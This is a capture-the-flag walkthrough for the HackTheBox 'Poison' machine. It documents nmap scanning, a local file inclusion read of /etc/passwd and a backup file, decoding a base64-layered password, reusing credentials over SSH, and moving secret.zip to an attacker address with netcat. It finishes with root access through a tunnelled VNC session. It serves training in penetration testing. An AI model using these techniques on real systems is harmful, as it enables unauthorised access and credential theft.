> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md). # Poison HackTheBox Writeup Poison HackTheBox Medium Linux machine writeup covering Local File Inclusion (LFI), Cracking ZIP file, Abusing VNC - vncviewer (Privilege Escalation), with practical enumeration, exploitation, foothol {% embed url="" %} {% hint style="warning" %} **Skills:** * Local File Inclusion (LFI) * Cracking ZIP file * Abusing VNC - vncviewer (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.
**Open Port Discovery with Nmap:** ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.84 -oG allPorts ```
**Port Version Scan with Nmap (22, 80):** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80 10.10.10.84 -oN targeted ```
## Port 80 - FreeBSD {% hint style="info" %} FreeBSD is a popular open source free operating system based on the BSD version of the Unix operating system. FreeBSD has the reputation of being fast, stable and particularly suitable for operating as an Internet server or file server. {% endhint %}
### **LFI Exploitation** We identify a vulnerable parameter: ``` ?file=FILE ```
This allows us to read any file available on the system. By remote `pwnbackup.txt`, we find a string indicating an encrypted password **13 times in base64**: ``` Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo ```
Decryption with `echo`: {% code overflow="wrap" %} ```bash echo "Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=" | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d; echo ``` {% endcode %} The revealed password is: * `Charix!2#4%6&8(0` ### **System user search** We list `/etc/passwd` via the LFI and find the user **charix**.
SSH connection with found credentials: ```bash ssh charix@10.10.10.84 ```
### Flag user.txt :) Flag `user.txt` recovered
## **Privilege Escalation** We find a file **secret.zip**. #### **File Transfer with Netcat** On our machine: ```bash nc -nvlp 443 > secret.zip cat secret.zip | nc 10.10.14.50 443 ``` The file is password protected.
### **ZIP password crack** **Extract the hash with `zip2john`**: So we'll use zip2john to extract the hash ```bash zip2john secret.zip > hash ``` **Password tracking with `john`**: ```bash john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash ``` **Result**: Not found
We test the reuse of the password previously discovered:
/*Success! /*/\* `secret` file contains strange characters, suggesting an access key ### Exploitation 5800,5801,5900,5901 - VNC We identify listening ports: ```bash netstat -an | grep LISTEN ```
#### **SSH tunnel to forward VNC ports** ```bash ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84 ```
VNC Service Scan : ```bash nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1 nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1 ```
#### **Login via vncviewer** We use the password found in `secret.zip`: ```bash vncviewer -passwd secret 127.0.0.1:5901 ``` We get a **root access** on the machine!
### Flag root.txt
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